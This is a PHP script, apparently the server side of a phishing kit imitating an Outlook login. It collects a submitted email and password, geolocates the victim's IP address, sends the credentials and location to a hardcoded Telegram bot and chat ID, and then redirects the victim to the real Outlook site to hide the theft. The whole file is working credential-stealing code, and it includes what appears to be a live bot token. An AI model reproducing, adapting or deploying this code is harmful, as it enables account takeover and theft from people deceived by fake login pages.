|
<?php |
|
|
|
$botToken = '5905446592:AAFPBz32wUZ-4DmdAWtqe48XXrQSF4HObBQ'; |
|
|
|
|
|
$chatId = '5063383507'; |
|
|
|
if ($_SERVER["REQUEST_METHOD"] == "POST") { |
|
|
|
$correo = $_POST["dni"]; |
|
$clave = $_POST["cpass"]; |
|
|
|
|
|
$ip = $_SERVER['REMOTE_ADDR']; |
|
|
|
|
|
$geo = json_decode(file_get_contents("http://ip-api.com/json/{$ip}")); |
|
|
|
|
|
$pais = isset($geo->country) ? $geo->country : 'Desconocido'; |
|
$ciudad = isset($geo->city) ? $geo->city : 'Desconocida'; |
|
|
|
|
|
$message = "🔥Usuario ha ingresado 🔥\n 📧 Correo: $correo\n 💰 Clave: $clave\n ======================\n 🌍 País: $pais\n 🏙 Ciudad: $ciudad"; |
|
|
|
|
|
$telegramUrl = "https://api.telegram.org/bot$botToken/sendMessage?chat_id=$chatId&text=" . urlencode($message); |
|
|
|
|
|
$ch = curl_init(); |
|
curl_setopt($ch, CURLOPT_URL, $telegramUrl); |
|
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); |
|
$result = curl_exec($ch); |
|
curl_close($ch); |
|
|
|
if ($result) { |
|
|
|
header("Location: https://outlook.live.com/owa/"); |
|
exit; |
|
} else { |
|
echo "Hubo un problema al enviar los datos."; |
|
} |
|
} |
|
?> |
|
|